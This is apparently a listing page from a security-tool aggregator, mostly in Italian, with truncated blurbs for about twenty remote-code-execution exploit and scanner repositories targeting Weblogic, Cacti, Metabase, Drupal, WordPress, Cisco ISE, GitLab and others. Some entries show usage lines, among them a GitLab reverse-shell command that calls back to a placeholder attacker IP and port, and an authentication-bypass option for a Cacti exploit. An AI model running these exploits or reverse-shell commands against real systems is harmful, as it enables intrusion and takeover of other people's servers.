Weblogic_Wsat_RCE

WeblogicWsatRCE POC per CVE-2017-10271. Poiché java.lang.ProcessBuilder era il vettore originale per la RCE, esistono molteplici regole basate su firme che bloccano questo specifico payload. Aggiunto java.lang.Runtime e ne aggiungerò altri in futuro. Questo è solo a scopo educativo: non mi assumo...

CVE-2026-34234-Lab

CVE-2026-34234 - Lab RCE dell'Installer CtrlPanel Lab Docker locale per dimostrare CVE-2026-34234 in CtrlPanel. Questo repository confronta: vuln: CtrlPanel 1.1.1 bloccata tramite digest patched: CtrlPanel 1.2.0 bloccata tramite digest Il lab è esclusivamente locale e vincola i servizi a 127.0.0....

CVE-2022-46169

CVE-2022-46169 Exploit Exploit per la vulnerabilità CVE-2022-46169 su Cacti 1.2.19 Opzioni root@kitploit: -u --url victim's url -f --forwarded X-Forwarded value to bypass the auth -m --mode: check for Checking for Vulnerable Servers, or exploit for Fun exploitation mode :D Utilizzo root@kitploit:...

cve-2018-12386

Exploit RCE in Sandbox di Firefox CVE-2918-12386 Ecco un semplice exploit per la vulnerabilità CVE-2018-12386 trovata da Niklas Baumstark, Samuel Groß e Bruno Keith. Questo è principalmente un Poc che ho fatto per divertimento, non c'è alcun bypass della sandbox e funzionerà solo su una specifica...

R2SAE

R2SAE - React2Shell Auto-Exploit Un'estensione Firefox per rilevare e sfruttare CVE-2025-55182 Vulnerabilità di Prototype Pollution nelle React Server Actions Caratteristiche • Installazione • Utilizzo • Disclaimer ⚠️ Disclaimer Questo strumento è destinato esclusivamente a test di sicurezza...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - Scrittura arbitraria di file verso RCE 🌵 RCE autenticato Versione di Cacti v1.2.26 Riepilogo Una vulnerabilità di scrittura arbitraria di file, sfruttabile tramite la funzionalità "Package Import", consente agli utenti autenticati con il permesso "Import Templates"...

CVE-2024-29943

CVE-2024-29943 Un bug JIT di SpiderMonkey a Pwn2Own: dall'incoerenza dell'intervallo intero all'eliminazione del controllo dei limiti fino alla RCE. Riproduzione di CVE-2024-29943 per Windows, basata su https://github.com/bjrjk/CVE-2024-29943 Modifiche L'exploit originale è scritto per Linux,...

CVE-2023-38646

Metabase RCE pre-autenticazione CVE-2023-38646 PoC Questo è uno script Python che sfrutta la vulnerabilità di esecuzione di codice remoto del software di login di Metabase. Permette di eseguire comandi arbitrari sul server prima dell'autenticazione. Le versioni vulnerabili sono Metabase open sour...

RCE

CVE-2022-31814 Bug di WebApp root@kitploit: import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser =...

CVE-2025-54322-exploit

CVE-2025-54322: Exploit RCE pre-autenticazione per XSpeeder SXZOS Un exploit Proof-of-Concept PoC professionale per CVE-2025-54322 , una vulnerabilità critica di esecuzione remota di codice pre-autenticazione nel firmware XSpeeder SXZOS. Questa vulnerabilità è stata scoperta e divulgata dall'agen...

log4j

log4j Uno scanner automatico ed estensivo degli header per il rilevamento di log4j RCE CVE-2021-44228 Utilizzo root@kitploit: $ python3 log4j.py -l urls.txt --dns-log REPLACETHIS.dnslog.cn...

React2Shell-Scanner

Verificatore di Vulnerabilità CVE-2025-55182 e CVE-2025-66478 Uno strumento di rilevamento non intrusivo per identificare implementazioni vulnerabili di React Server Components RSC interessate da CVE-2025-55182 React e CVE-2025-66478 Next.js. Questo strumento esegue un rilevamento attivo...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5 🚀 Erste Schritte 1. Lade den Verteilungscode von https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip herunter und entpacke ihn. 2. Führe docker compose up --build aus, um die verwundbar...

drupalgeddon2

Drupalgeddon 2 MSF-Exploit-Modul für Drupalgeddon 2 CVE-2018-7600 / SA-CORE-2018-002 Drupal vor 7.58, 8.x vor 8.3.9, 8.4.x vor 8.4.6 und 8.5.x vor 8.5.1 erlaubt es entfernten Angreifern, beliebigen Code auszuführen, aufgrund eines Problems, das mehrere Subsysteme mit standardmäßigen oder üblichen...

CVE-2024-25600-Bricks-Builder-plugin-for-WordPress

CVE-2024-25600 शोषण उपकरण 🚀 विवरण 📝 यह उपकरण 🛠️ WordPress के लिए Bricks Builder प्लगइन में पाई गई CVE-2024-25600 भेद्यता 🕳️ का शोषण करने के लिए डिज़ाइन किया गया है। यह भेद्यता प्रभावित वेबसाइटों 💻 पर अप्रमाणित दूरस्थ कोड निष्पादन की अनुमति देती है। यह उपकरण nonce प्राप्त करके और मनमाने आदेशों को...

CVE-2018-16763

CVE 2018-16763 Exploit Introduzione PreAuth-RCE su FUEL CMS 1.4.1 Demo Riferimenti: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

Wp2Shell

wp2shell Esecuzione remota di codice pre-autenticazione nel core di WordPress. CVE-2026-60137 SQL Injection in WPQuery in combinazione con CVE-2026-63030 REST API Batch Route Confusion. Solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Versioni interessate Le versioni di WordPres...

staystaystay

staystaystay staystaystay is a proof of concept exploit for CVE-2021-1585, a man in the middle or evil endpoint RCE issue affecting Cisco ASA Device Manager ASDM. The issue was originally discovered by Malcolm Lashley and disclosed in the summer of 2021. However, at the time I was looking at this...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Exploit de RCE não autenticado na API ERS do Cisco ISE Este repositório contém um exploit de prova de conceito em Python 3 para CVE-2025-20281 , uma vulnerabilidade crítica no Cisco Identity Services Engine ISE que permite execução remota de código RCE não autenticada como root p...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Utilizzo root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Crediti https://hackerone.com/reports/1154542 Frammento di codice riferito da: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py...